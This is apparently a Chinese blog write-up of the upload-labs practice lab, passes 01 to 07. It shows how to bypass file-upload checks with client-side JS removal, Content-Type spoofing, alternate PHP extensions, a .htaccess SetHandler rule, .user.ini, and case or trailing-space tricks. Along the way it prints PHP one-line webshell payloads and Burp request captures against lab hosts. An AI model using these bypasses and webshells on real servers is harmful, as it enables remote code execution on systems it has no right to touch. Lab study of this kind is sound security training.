文件上传通关笔记(upload-writeup)

原创

Ox小笼包 ● 于 2021-01-26 10:56:56 发布 ● 348 ◆ 收藏
 分类专栏: <u>渗透测试</u> 文章标签: <u>安全 经验分享</u>
 版权声明:本文为博主原创文章,遵循 <u>CC 4.0 BY-SA</u>版权协议,转载请附上原文出处链接和本声明。
 本文链接: <u>https://blog.csdn.net/m0_50800033/article/details/113173689</u>
 版权



渗透测试 专栏收录该内容

3篇文章0订阅

订阅专栏

前言



- 一、客户端javascript校验(一般只校验后缀名)
- 二、服务端校验:
 - 1. 文件头content-type字段校验(image/gif)
 - 2. 文件内容头校验(GIF89a)
 - 3. 后缀名黑名单校验
 - 4. 后缀名白名单校验
 - 5. 自定义正则校验 WAF设备校验(根据不同的WAF产品而定)

Pass01 JS 效验

一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。

判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传.jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。



绕过方式:

方法一:

直接删掉JS代码:

如:把return checkFile()删掉,然后直接上传。

🔁 🔲 🗖 🗖 📕 🔹 🚺 🚯 (Burp Suite C	Community 🚺 upload-labs - Mozilla Fir 🖃 root@go: ~/桌面/pte/upl		dia de	10:30上午 EN 口 ·	🕖 🌲 🗎 92% 🔒 G
	upload-labs - Mozilla	a Firefox			_ = ×
Cupload-Jahs X th Dreferences	x +				
(←) → C [*] (a) () 192.168.130.3/upload-				… ⊠ ☆	IIN 🗊 😅 🖃
N. Kall Laure N. Kall Tastatas, N. Kall Tasta (A.Kall Dave N.		A MORTH Character and the Architecture of the			
	Kau Forunis 🔍 Nethunter 😁 Oriensive Security 🔍 Exploit-DB 🔍 GHDB 🦉	G MSFO C Vullerability. Comman a upload-tabs G 众迎未到ever			
② You must log in to this network before you can access the line in the second seco	lernet.			Open N	etwork Login Page 🛛 🗙
Kau http	DUCS		_		
	is. Huces. Kathory		/	显示源码 查看提示	清空上传文件
Dece 01					
Pass-01					
Pass-02					
Pass-03	个 matchall 到 服 条 哭				
Pass-04	The sheet of the state of the s				
Pass-05 上传区					
Pass-06					
Pass-07 请选择	要上传的图片:				
Pass-08					
Brow Brow	wse 0919 php				
Pass-07					
Pass-10					
Pass-11					
Pass-12					
Pass-13					
Pass-14					
Pass-15					
https://docs.kali.org					
🕞 🗘 Inspector 🕞 Console 🕞 Debugger {} Style Editor 🕥	Performance 🗊 Memory ᡝ Network 🖹 Storage 🕇 Accessibility 🌒 HackBar				0 ··· ×
Q, Search HTML		🕂 💉 🗑 Filter Styles	:hov .cls 🕂 🗈 [Layout Computed	Changes Fonts Animat
P (12) (0 (12)		element () {	inline .	▼ Flexbox	
::marker		}		Salact a Elay container or iter	n to continue
<h3>上传区</h3>		Inherited from ol		Select a riex container or iter	n to continue.
<form enctype="multipart/form-data" method="post" onsubmit:<br="">cost#2418 m Landom Http://ox</form>	<pre>return checkFile()"> event</pre>	ol () (index.css:44	▼ Grid	
> (p) (m		list-style: ▶ none;		CSS Grid is not in use on this	; page
		Inherited from body		≠ Box Model	
<pre>> <div id="msg"> </div> > cdiv id="img"> </pre>		holy the I	index crcs7		
		font-family: Lato, "Helvetica Neue"	, Helvetica,	margin 0	
$html > body > div {\sc image} and > div {\sc image} and > di > li > form$		Arial, "Microsoft Yahei", 微软推黑	sans-serif;	border	

方法二:

使用BurpSuite代理截断,将要上传的文件后缀改成可以上传的类型,通过代理再改回来。



Pass-01					
	任务				
	上住一人				
	上传一个webshell 到版外态。				
	请 选 择 要 上 传 的 图 片 :				
	Browse 0919.jpg	<mark>上传</mark>			
	-				
		Commisted 2018	020 hu -0m 1		
		Copyright @ 2018 ~ 2	020 by Cony1	https://blog.csdn.net/m0_508	300033

S | 💷 🗂 🗀 🔜 | 🚺 🗾 d-labs - Mozilla Fir... 🔳 root@go: ~/桌面/pte/upl 10:55上午 💷 🗗 🕕 🌲 🖥 78% 🔒 G Buro Suite Con munity Edition v2.1.07 - Ter Burp Project Intruder Repeater Window Help Dashboard Target Promet Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Intercent HTTP history WelsSockets history Options Options Options 欢迎来到level1 ... ເ ☆ 🔨 Kali L Request to http://192.168.130.3:80 ⑦ Your Open Network Login Page 🛛 🗙 Descrit Descrit Provide Providence Provide Forward Drop Intercept is on Action Comment this item 显示源码 查看提示 清空上传文件 -146174240316953345312010828651 ontent-Dieposition: form-data; name="upload_file"; filename="0915.php" ontent-Type: image/jpeg <?php phpinfo(); () < + > Type a search term

成功获取PHP信息:

📔 🚞 🔚 📑 📔 🍋	nity 🚺 PHP 7.3.4 - phpinfo() - M 🔳 root@c	jo: ~/桌面/pte/upl	10:57 上午	EN 🛛 🕕 🌲 🕈 78% 🔒 G
		PHP 7.3.4 - phpinfo() - Mozilla Firefox		_ = ×
HP 7.3.4 - phpinfo() × 🔅 Preferences × +				
• → C û ① 192.168.130.3/upload-labs/W	WW/upload/0919.php		··· 🖾 🕁	II\ ☎ 🛎 ≡
. Kali Linux 🔨 Kali Training 🔨 Kali Tools 🖨 Kali Docs 🔨 Kali Fo	rums 🔍 NetHunter 🖨 Offensive Security 🔸	Exploit-DB 👋 GHDB 🖨 MSFU 🙋 Vulnerability: Comman 🔓 upload-labs 🖨 欢迎来到le		
) You must log in to this network before you can access the Internet.				Open Network Login Page 🛛 🗙
				1
				1
	System	Windows NT WIN-VDGHAFVL9QB 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) AMD64		
	Build Date	Apr 2 2019 21:50:57		
	Compiler	MSVC15 (Visual C++ 2017)		
	Architecture	x64		
	Configure Command	cscript /rologo.configure.js *enable snapshot build* *enable debug pack* *disable zts* *with pdo-oci=c:\php snap-build\dpsp_aux\oracle\bg4\nstartclient_12_1\sdk.shared* *with oci8-12c=c:\php-snap-build\dpsp_aux \oracle\bg4\dg4\nstartclient_12_1\sdk.shared* *enable object-out-dim/obj/* *enable com-dotnet-shared* * without-analyzer* *with pgo*		
	Server API	CGI/FastCGI		
	Virtual Directory Support	disabled		
	Configuration File (php.ini) Path	C: \Windows		
	Loaded Configuration File	E:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini		
	Scan this dir for additional .ini files	(none)		
	Additional .ini files parsed	(none)		
	PHP API	20180731		
	PHP Extension	20180731		
	Zend Extension	320180731		
	Zend Extension Build	API320180731,NTS,VC15		
	PHP Extension Build	API20180731,NTS,VC15		
	Debug Build	no		
	Thread Safety	disabled		
	Zend Signal Handling	disabled		
	Zend Memory Manager	enabled		
	Zend Multibyte Support	provided by mbstring		
	IPv6 Support	enabled		
	DTrace Support	disabled		
	Registered PHP Streams	php, file, glob, data, http, ftp, zip, compress.zlib, https, ftps, phar		
	Registered Stream Socket Transports	tcp, udp, ssl, tis, tisv1.0, tisv1.1, tisv1.2		
			🖸 👝 htt 🗐 🔗 🗂	🔲 🚛 🚮 🕢 💷 Disaka (Caul

🔰 💿 🖓 🚍 🌽 🛄 🜆 🚮 🚯 Right (Ctrl

Pass02 Content-type 效验

用BurpSuite修改content-type。

源代码:



仅仅判断content-type类型,因此可以将上传"一句话的文件"抓包修改content-type为图片类型: image/jpeg、image/png、image/gif。

上传文件,用bp抓包,并把Content-Type: application/x-php 改为 Content-Type: image/jpeg。

📉 💷	💼 🔚 📲 📔 🤰 🚺 👔 Burp Suite Community E 🔍 upload-labs - Mozilla Fir 🖿 root@go: ~/桌面/pte/upl		11:33上午 EN 口 4	🗎 🛔 🚺 64% 🛔 🖨 😁
	Burp Suite Community Edition v2.1.07 - Temporary Project	_	(
- upload	Burp Project Intruder Repeater Window Help			
$ \rightarrow $	Dashboard Target Prox Intruder Repeater Sequencer Decoder Comparer Extender Project options User options			w m 🔿 =
Kali Li	Intercept HTTP history WebSockets history Options		小迎来到level1	
 Your 	C Request to http://192.168.130.3:80		Open N	etwork Login Page
	Forward Drop Intercept is on Action	Comment this item 👋 📀		
r	Raw Params Headers Hex		<mark>隐藏源码 查看提示</mark>	清空上传文件
	POS7 /upload-labs/WWM/Pass-02/index.php?action=show_code HTTP/1.1			
	User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html.application/xhtml+xml.application/xml;g=0.9.*/*;g=0.8			
	Accept_Language: en-US,en;g=0.5 Accept_Encoding: gzin_deflate			
	Referer: http://192.168.130.3/upload-labs/WWW/Pass-02/index.php7action=show_code			
	Content-Length: 372			
	Connection: close Upgrade-Insecure-Requests: 1			
	<pre>jContent-Disposition: form-data; name="upload_file"; filename="0919.php" Content-Type:image/jpeg</pre>			
	<2php			
	<pre>phpinfo(); 7></pre>			
		· · · · · · · · · · · · · · · · · · ·	ttos://blog	sdn.net/m0_50800033
Waiting fo	C + > Type a search term	0 matches	nups.norog.	

疑问:如果不知道源代码怎么知道是content-type效验,mime-type与content-type区别。

Pass03 黑名单验证:后缀名

基于文件后缀名验证方式的分类:

1、基于白名单验证:只有在白名单中有的后缀名,文件才能上传成功。

2、基于黑名单验证:只有不在黑名单中的后缀名,文件才能上传成功。

这一关禁止.jsp、.php、.asp、.aspx后缀名的文件上传。

但是可以其他后缀名嘛,例如php1、php2、phtml、php5等等。(前提是apache的httpd.conf中有如下配置代码:

AddType application/x-httpd-php .php .phtml .phps .php5 .pht)



注: 上传成功后, 文件名会被更改, 所以需要查看文件上传的位置以及文件名。

Request	Response
Raw Params Headers Hex	Raw Headers Hex HTML Render
POST / upload/Pass=03/index.pbg HITP/1.1 # Host: 172.16.12.141.8000 USer-Agent: Mozilla/5.0 (Windows NT 6.1: WOW61: rv:17.0) Gecko/20100101 Firefox/17.0 Accept: text/htal.upplication/Attal#anal.upplication/anal.ge0.9, */*:ge0.8 Accept:-language: shrCk.htal*:ge0.8, errol5:ge0.5, errol5.ge0.5, errol5.ge0.5 DNT: i Beferer: http://12.16.12.141.8000/upload/Pass=03/index.php	(li%a id="Pass-18" intef="/upload/Pass-18/index.pbg")Pass-18(%v(li) (li%a id="Pass-18" intef="/upload/Pass-18/index.pbg")Pass-18(%v(li) (li%a id="Pass-20" intef="/upload/Pass-20/integ")Pass-20(%v(li) (li%a id="Pass-21" intef="/upload/Pass-21/index.pbg")Pass-21(%v(li) (li%a id="Pass-21" intef="/upload/Pass-21/index.pbg")Pass-21(%v(li) (di%a id="Pass-21" intef="/upload/Pass-21/index.pbg")Pass-21(%v(li))
Cookie: ECS[visit_time]=1: FBF2ESSID=98e17f7b02d91a8me9033ec18877371m Z-ervardef-yr: 8.8.8.8 Connection: close Content-Type: Multipart/form-data: boundary=	(dr):4f*(pload_panel)> (al) (al) (al) (al) (b) (f) (f)
Content-Disposition: form-data: name="upload_file": filemame=[getabell.php1"] Content-Type: image/jpg GIF89s <pre>cphp dEVAL(\$_POST[abc]):?? </pre>	<pre>(do)上传版(/hom-data' method='post' onsubmit='return checkFile()'></pre>
Content-Ulgoollin: form-arts: name= suburt	(dr) 1.5 Met / (dry) (dry 1.6 met / (dry) (ang stee //upland/202101182011019101.php1 * adth="250px" /> (/dry) (/1) (/dry)
	<pre>(/div)</pre>
	<pre>(div class="dialg=rtile">規構由p:j%(a href="jwnseript:void(0)" class="close" tile="光师">关闭(/a)(div) (div) (/bity (/bity (/bity (/bity (/bity (/bity (/bity))))))))))))))))))))))))))))))))))))</pre>
	《/htal>

□ □ □ 172. 16. 12. 144 +				> =	×
🚞 C: \			<u>+</u>	✔ 读取 星期— 2021-01-18 腊月	初六
172.16.12.144 目录(21),文件(54)	名称	时间	大小	属性 💧 🗆 🖂 站点类别	
	🛅 bea	2015-12-24 10:34:22	0	07777 默认类别	
🔲 bea 🗁 Config Mai	🚞 Config. Msi	2020-10-24 15:52:22	0	07777 ② 日程提醒	
Documents and Settings	🛅 Documents and Settings	2013-12-18 13:40:01	0	07777 🗁 快捷方式	
Dvbbs8. 2. 0_SQL	🛅 Dvbbs8. 2. 0_SQL	2013-10-28 16:58:01	0	0777	
international in	🛅 Inetpub	2015-12-18 15:40:28	0	0777	
mgink 1.5.5	🛅 nginx-1.3.5	2015-12-18 15:27:21	0	0777	
🧰 Program Files	🔁 phpStudy	2015-12-18 13:47:10	0	0777	
🔁 radmin3.2	🧰 Program Files	2020-10-24 15:51:36	0	0555	
C Repositories	🔁 radmin3.2	2013-12-18 13:28:25	0	0777	
🚞 Serv-V	C RECYCLER	2011-02-16 21:23:02	0	0777	
🚞 soft	🚞 Repositories	2015-11-10 11:26:59	0	0777	
System Volume Information Tomcat 7 0	🔁 Serv-V	2020-12-23 23:37:01	0	0777	
Tools	🧰 soft	2015-11-10 11:38:35	0	0777	
🚞 Web100	🚞 System Volume Information	2011-02-16 19:41:08	0	0777	
i WINDOWS	🫅 Tomcat 7.0	2013-12-18 13:45:15	0	0777	

mana and a second and a second	🛅 Tools	2020-01-04 10:15:12 0	0777
🚞 xunshi	🚞 Web100	2013-04-23 13:17:23 0	0777
🥪 D:	E WINDOWS	2020-12-23 23:41:05 0	0777
≪a≉ E:	🚞 winmail	2009-01-17 09:28:33 0	0777
	🚞 wmpub	2011-02-16 19:30:46 0	0777
□完成			https://blog.csdn.net/m0_50800033

Pass04 黑名单验证: .htaccess



禁止的有点多,但是没有禁htaccess。

htaccess文件介绍:

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页 301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功 能。

其中.htaccess文件内容:

SetHandler application/x-httpd-php

设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行。不符合则报错。

要想使.htaccess文件生效的前提条件(1.mod_rewrite模块开启。2.AllowOverride All)

因此先上传一个.htaccess文件,内容如下:

<FilesMatch "yijuhuamuma.jpg"> SetHandler application/x-httpd-php

就是在upload目录下匹配yijuhuamuma.jpg的文件并以php文件执行。

一、上传1.htaccess,并把1.htaccess改为.htaccess。

🏹 💷 📩 🖿 🧠 📔 🚺	💈 Burp Suite Community E 📦 upload-labs - Mozilla Fir		02:10下午 🗖 🕕 🌲	🗎 87% 🛔 🕒
	Burp Suite Community Edition v2020.9.1 - Temporary Project	_ = ×		
• upload-labs × +	Burp Project Intruder Repeater Window Help			
	Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options			w m at =
	Intercent HTTP history WebSockets history Options		ш Ш	
Kati Linux Kati Training Kati Tools	Request to http://192.168.130.3:80			
ûpLood-loよ5	Forward Drop Intercept is on Attion Open Browser	*?	示源码 查看提示 济	空上传文件
	Raw Params Headers Hex			
Pass-01	Pretty Raw In Actions Y			
Pass-02	1 POST /upload-labs/WWW/Pass-04/ HTTP/1.1	4		
Pass-03	2 host:192,168,130,3 3 user-Agent: Mozilla/S.0(X11; Linux X85_64; rv:68.0) Gecko/20100101 Firefox/68.0			
Pass-04	4 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 5 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8			
Pass-05	6 Accept - Encoding: gzip, deflate			
Pass-06	/ [METFEF: http://juz.iow.jou.jugiaa-lab/www.r/Ass-04/ 8 Content-Type: multipatriform-data; boundary=			
Pass-07	9 Content-Length: 443 10 Contention: close			
Pass-08	11 Upgrade-Insecure-Requests: 1			
Pass-09	12			
Pass-10	14 Content-Disposition: form-data; name="upload_file"; filename=".httaccess" 15 Content-Type: application/cotte: stream	_		
Pass-11 Dece 12	16			
Pass-12 Pass-13	11 Stering = pp://git/dom/second/s-http://signature.pp/			
Pass-13 Pass-14	19 20			
Pass-15	21 22			
Pass-16	23 Content-Disposition: form-data; name="submit"			
Pass-17	24 ⊆ 25 上骨			
Pass-18	26			
Pass-19				
Pass-20				
Waiting for 192.168.130.3	⑦ ⊕ → Search	0 matches	https://blog.csdn.r	et/m0_50800033

二、再上传一句话木马:

Request	Response
Raw Params Headers Hex	Raw Headers Hex HTML Render
POST /upload/Pass-04/index.php HTTP/1.1	href="/upload/Pass-20/index.php">Pass-20
Host: 192.168.10.128:8000	Pass-21
User-Agent: Mozilla/5.0 (Windows NT 6.1; W0W64; rv:47.0) Gecko/20100101	
Firefox/47.0	
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8	
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3	
Accept-Encoding: gzip, deflate	<div id="upload_panel"></div>
DNT: 1	<01>
Referer: http://192.168.10.128:8000/upload/Pass-04/index.php	<1i>>
Cookie:	<h3>00</h3>
BEEFHOOK=RKM:ranOL30VZJj:2xZry7v4mSgpxKVXrWFF4nx81jzxL0c4ZYe0caFXPLRQX1MMyYD10fpdIj	Code>webshellCode>code>webshellCOCCC
hulygt	
X-Forwarded-For: 8.8.8.8	
Connection: close	<h3>000</h3>
Content-Type: multipart/form-data;	<form enctype="multipart/form-data" method="post" onsubmit="return</td></tr><tr><td>boundary=262671930313872</td><td>checkFile()"></form>
Content-Length: 332	00000000< <p></p>
	<input class="input_file" name="upload_file" type="file"/>
262671930313872	<input class="button" name="submit" type="submit" value="UU"/>
Content-Disposition: form-data; name="upload_file"; filenam="yijuhuanuma.jpg"	
Content-Type: image/jpeg	<pre><duv id="msg"></duv></pre>
- Chalan	
< / pnp	 (a) 1a="img"> (a) 1a="img"> (a) 1a="img"> (b) 1a="img"> (c) 1a="img">
when in fa().	<pre><img <="" pre="" src=" //upioad/yijunuamuma.jpg" vidth="_SUpx"/></pre>
php m o (),	
25	
262671930313872	
Content-Disposition: form-data: name="submit"	· / u.z.
	<pre><div id="footer"></div></pre>
	<center>Copyright @ </center>
	id="copyright time"> by <a <="" href="http://gv7.me" td="">
	target=" bank">c0ny1
() < + > 0 matches	(?) < + > Type a search term 0 matches
Louis	nttb://piodiczgu/ue/ue/of/arg/o/agas

三、上传成功了。

文件(E) 编辑(E) 查看(V) 历史(S) 书签(B) 工具(I) 帮助(H)				
phpinfo0 × +				
() 192.168.1 未知IP }a { word-wrap: break-word	d, }a:link, a:visited { color: #e06228, color: #404042 💻) 🖉 🖯 PPP 📕 C 🛞 🔍 搜索 🔤 🏠 👔	🛓 🖡 🍘 - JS 💮 - 🌲 -	💀 🍕 • 🍳 🖻 • 🚳 • 🍵 • 🚍
PHP站点案引				
INT SQL BASICS- UNION BASED- ERRO	R/DOUBLE QUERY* TOOLS* WAF BYPASS* ENCOD	ING* HTML* ENCRYPTION* OTHER* XSS* LFI*		
a Load URL (http://192.168.10.128:8000/upload/upload	l/yijuhuamuma.jpg			
₿ <u>S</u> plit URL				•
Execute				
📄 Post data 📄 Referrer < 0xHEX	🗩 < %URL 🗩 < BASE64 🗩 In	sert string to replace Insert replacing string 📝 Replace All 🗩 🤝		
Services* [No information available]				
	PHP Version	5.2.17 DhD		
			í I	
		T.	_	
	System	Windows NT EXPLOIT7 5.2 build 3790	-	
	Build Date	Jan 6 2011 17:26:08	-	
	Configure	*with-snapshot-template=d:\php-sdk\snap_5_2\vc6\x86\template* *with-		
		php-build=d:\php-sdk\snap_5_2\vc6\x86\php_build* "with-pdo-oci=D:\php- cdk\oracle\instantclient10\sch shared "with-oci8=D:\php-sdk\oracle		
		\instantclient10\sdk,shared" "without-pi3web"		
	Server API	Apache 2.4 Handler - Apache Lounge		
	Virtual Directory Support	enabled		
	Configuration File	C:\WINDOWS	-	
	(php.ini) Path			
	Loaded Configuration File	C:\phpStudy\php52\php.ini		
	Scan this dir for	(none)		
	files			
	additional .ini	(none)	1	
	files parsed	20041225	-	
	PHP API	20041223	-	-
📀 🥝 🚞 🔿 🔒 🔮				https://blogecsein.met/4w0_505041033



Pass05 黑名单验证: .user.ini 0 (没有成功)

利用.user.ini文件的三个条件:

- 1、服务器脚本语言为PHP
- 2、服务器使用CGI / FastCGI模式

3、上传目录下要有可执行的php文件

其中 第二条不满足,使用的模式不是CGI / FastCGI, 是handler。

第三个条件,作者在upload目录下为我们提供了一个readme.php。

ᡗᡗ᠘ᠴᠣᡆ᠆ᡰᠣ᠘ᠫ			显示源码 查看提示 清空上传文件
Pass-01 Pass-02 Pass-03	任務 上夜一个 withhall 到服务器。	提示 ————————————————————————————————————	
Pass-04 Pass-05 Pass-06		上传目录存在php文件(readme.php)	
Pass-07 Pass-08 Pass-09	请选择要上传的图片: 浏览		
Pass-10 Pass-11 Pass-12			
Pass-13 Pass-14 Pass-14			
Pass-16 Pass-16 Pass-17			
Pass-18 Pass-19 Pass-20			
Pass-21			https://blog.csdn.net/m0_50800033





System	Windows NT EXPLOIT7 5.2 build 3790
Build Date	Jan 6 2011 17:26:08
Configure Command	cscript /nologo configure.js "enable-snapshot-build" "enable-debug-pack" "with-snapshot-template=d:\php-sdk\snap_5_2\vc6\x86\template" "with- php-build=d:\php-sdk\snap_5_2\vc6\x86\php_build" "with-pdo-oci=D:\php- sdk\oracle\instantclient10\sdk,shared" "with-oci8=D:\php-sdk\oracle \instantclient10\sdk,shared" "without-pi3web"
Server API	Apache 2.4 Handler - Apache Lounge
Virtual Directory Support	enabled
Configuration File (php.ini) Path	C:\WINDOWS
Loaded Configuration File	C:\phpStudy\php52\php.ini
Scan this dir for additional .ini files	(none)
additional .ini files parsed	(none)
PHP API	20041225
PHP Extension	20060613
Zend Extension	220060519
Debug Build	no
Thread Safety	enabled
Zend Memory Manager	enabled
IPv6 Support	enabled
Registered PHP Streams	php, file, data, http, ftp, compress.zlib, compress.bzip2, zip
Registered Stream	tcp_udp

这里我们直接使用phpstudy2014的集成环境中的Nginx+PHP 5.4n去复现这个漏洞。

🛃 phpStudy 2014 (24	种组合自由切换) 🛛 🗙
PHP版本选择 C Apache + PHP 5.2 C Apache + PHP 5.3 C Apache + PHP 5.3 C Apache + PHP 5.4 C Apache + PHP 5.5 C Apache + PHP 5.5	??? C Nginx + PHP 5.3n (C Nginx + PHP 5.4n) (n) C Nginx + PHP 5.5n (n) C Nginx + PHP 5.6n (n) C Nginx + PHP 5.2
C IIS 7/8 + PHP 5.3 C IIS 7/8 + PHP 5.4 C IIS 7/8 + PHP 5.5 C IIS 7/8 + PHP 5.6 C IIS 7/8 + PHP 5.6 C IIS 7/8 + PHP 5.2	n C Lighttpd + PHP 5.3n n C Lighttpd + PHP 5.4n n C Lighttpd + PHP 5.5n n C Lighttpd + PHP 5.6n C Lighttpd + PHP 5.2
© IIS 6.0 + PHP 5.2 © IIS 6.0 + PHP 5.3 https://	◎ IIS 6.0 + PHP 5.4n n 取消 应用 plog.csdn.net/m0_50800033

PHP Version 5.4.33



首先上传.user.ini文件

Raw Params Headers Hex



上传一句话木马:



a Lo <u>a</u> d URL	http://172.16.12.144/upload/upload/readme.php) -
<u> <u> </u> </u>		•
Execute		J
	🗵 Post data 📄 Referrer 🗲 0xHEX 🌫 🗲 %URL 🗩 🗲 BASE64 🗩 Insert string to replace Insert replacing string 🛛 Replace All 🚬 🥭	
Post data	lqaz=phpinfo();) -
		•
		J.
RETCRAFT - S	Services' [No information available]	

Parse error: syntax error, unexpected 'qaz' (T_STRING), expecting ']' in C:\phpStudy\WWW\upload\upload\getshell05.jpg on line 2

https://blog.csdn.net/m0_50800033

没有成功!

Pass06 黑名单验证:大小写绕过

文件D 編編日 査査(2) 形安(3) 半弦(8) 工具(1) 無助(1)		_ 0	×
phpinda + x (phipda			
🌀 🗇 192.168.1 未知P]a (word-wrap: break-word, Jalink, avisited (color: #e06228, color: #404042 💂 🌙 👌 🚧 👖 🖉 🔌 🔍 股票 🔯 🗘 全部 🖓 👘 🔹 🖓	+ 0 ₀ 🔎 + 🌮		≡
🛞 PHP站信表引 🚯 Burp Suite Professional v2.1.07 - Temporary Project - licensed to surferxyz			
INT - • SQL BASICS- UNION BAS Burp Project Intruder Repeater Window Help			
a Logd URL http://192.168.10.128.8000/upi Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options			- (
8 Split URL			•
0 Execute			
📄 Post data 📄 Referrer 🚽 Sendi Cancel 🤍 Target http://192.182.5	10.128:8000 🖉 🕐		
Percever - Services [No information ava Request Response			
Raw Params Headers Hex Raw Headers Hex HTUL Render			^
POST /upload/Pass=06/index.php HTTP/1.1 href="/upload/Pass=17/index.php">Pass=17/index.php">Pass=17/index.php">Pass=17/index.php">Pass=17/index.php	A		
Hask: 152.169.00.1025000 4124 162",426-10" User-Agent: Moilla/S.O (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101 href="/upload/lass-1/index.php">Amm-18//i>			
Firefor/47.0 <pre>cli><a.id="massls" displication="" mal;q="0.9,*/*;q=0.0</pre" shtml+mi.application=""></a.id="massls"></pre>			
Accept-Language: h-C3, pi, yq=0.5, g=n-US, q=0.5 < <i> i > < i i > < i i d= " > as = -0" Accept-Execoding: q: pi, pi < Pi as = -0" <i> > ></i></i>			
DNT: 1 <pre>city aid="pass-21" href="/upload/Pass-01/index.php">Pass-21</pre> //livaid="pass-21" href="/upload/Pass-01/index.php">Pass-21//livaid="pass-21" href="/upload/Pass-01/index.php">Pass-21	>		
Cookie: 2023/2010/2020/2020/2020/2020/2020/2020/			
harrow rank a nonzore grant y ready ready ready in the ready inear inear inear in the ready in t			
Ar-brywarded-ror: 0.0.0.0 Connection: close			
Content-Type: multipart/form-data; boundary=307186025223 <hr/> Content-tentph: 330			
Content-Disposition: form-date; name="upload_file"; filemames"yijuhuanuma.PHP (hDPGDD=/hDP Content-Disposition: form-date; name="upload_file"; filemames"yijuhuanuma.PHP			
checkFile()*	recum		
<pre>47pnp 47pnp 47pnp 4(nput class="input_file" type="file" name="upload_file" 4 file" type="file" ty</pre>	("/>		
<pre>phpinfo();</pre>	="00"/>		
7>			
Content-Disposition: form-data; name="submit"			
4/d1>>			
·/di>	-		-
	https://blo gi cseln	19:20 1.∰t/€%0_502001 2020/1	1933

文件(E) 编辑(E) 查看(V) 历史(S) *	书签(8) 工具① 帮助(出)				_								_			. 0	x
(▲) (1) 192.168.1 未知IP }a+	word-wrap: break-word,	}a:link, a:visited {	color: #e06228, color	#404042 📻	/ 🔒 php 📕 🥑			☆	e -	↓ ŵ	💮 - JS	@ -	 a 🔥 = @	- 10 -	 ,	() -	=
				Ĩ							-						
INT - SOL BASICS	UNION BASED* ERROR	/DOUBLE OUERY	* TOOLS* WAF BYP	SS* ENCODI	ING* HTML* ENCRYPT	ION+ OTHER+ XSS+	LFI-										
B Load URL http://192.168.10.	128:8000/upload/upload/	202011071925096	5660.PHP														٦-
🖁 Split URL	Spit URL										•						
Execute	Egecute																
📃 Post data 📃	Referrer < OxHEX 🗴	🗩 < %UR	al 🗩 < Base	4 🗩 Ins	sert string to replace In	nsert replacing string	🔽 Replace All 🛛										
Services* [No inf	ormation available]																
																	^
			PHI	Version	5.3.29			Dhe									
			Syste	n V	Windows NT EXPLOIT7 5 Service Pack 2) i586	i.2 build 3790 (Windov	vs Server 2003 Enter	rprise Editio	m								
			Build	Date /	Aug 15 2014 19:15:47												
			Com	iler I	MSVC9 (Visual C++ 2008	3)											
			Archi	ecture x	x86												
			Confi Comr	Configure cscript /nologo configure.js *enable-snapshot-build* *disable-isapi* *enable- debug-pack* *without-mscqi* *without-pisweb* *with- ndb*-oi=C:\php-sdk\oracle\vishatkitent10\sdk\shared* *withou38-11g=C\php- sdk\oracle\vishatkitent10\sdk\shared* *withou38-11g=C\php-sdk\oracle Vishatkitent11\sdk\shared* *withou38-11g=C\php-sdk\oracle													
				c	com-dotnet=shared* "v	with-mcrypt=static" *	-disable-static-analy:	ze*									
			Virtu	Directory	enabled				_								
			Supp	rt													
			Confi File (Path	uration (hp.ini)	C:\WINDOWS												
			Load Confi File	d guration	C:\phpStudy\php53\php.i	ini											
			Scan	his dir for ((none)												-
) 🕘		7					-					https	//blogicsek	n. fi⊉t/¢% 0	-5028/1	933

Pass07 黑名单验证: 空格绕过

文件(E) 編輯(E) 查看(V) 历史(S) 书签(B) 工具	① 帮助(H)		_ 0	x
phpinfo() × +				
(i) 192.168.1 未知IP }a { word-wrap	break-word,]a:link, awisited { color: #e06228, color: #404042 💂 🛛 🥒 🗛 🎦 🛛 🛞 🔍 🕸	☆ 自 ♣ 斋 @ - コ\$ @ - 參 - ᆋ ആ - № -	🐠 – 🍈 –	Ξ
PHP站点索引	Burp Suite Professional v2.1.07 - Temporary Project - licensed to surferxyz			
INT - • SQL BASICS- UNION BA	Burp Project Intruder Repeater Window Help			
B Load URL http://192.168.10.128:8000/up	Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options	User options		٦
🖁 Split URL				
Execute				
📃 Post data 📃 Referrer	Send Cancel < v > v	Target: http://192.168.10.128:8000 🖉 ?		
Services [No information av	Request	Response		
	Raw Params Headers Hex	Raw Headers Hex HTML Render		
	POST /upload/Pass-07/index.php HTTP/1.1	href="/upload/Pass-20/index.php">Pass-20		
	Host: 192.108.10.128:8000 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:47.0) Gecko/20100101			
	Firefox/47.0 Accept: text/html.application/xhtml+xml.application/xml;g=0.9.*/*;g=0.8			
	Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3	<div id="upload_panel"></div>		
	Accept-Encoding: gzip, deflate DNT: 1	<pre><cul> </cul></pre>		
	Referer: http://192.168.10.128:8000/upload/Pass=07/index.php	<h3>00</h3>		
	BBBFH00K=RKH0:ran0L30VZJjh2xZry7v4m5gpxKVXrWFF4nx81jzxL0c4ZYe0caFXPLRQX1HHyYD10fpdIj			
	kuLYGT	changed that		
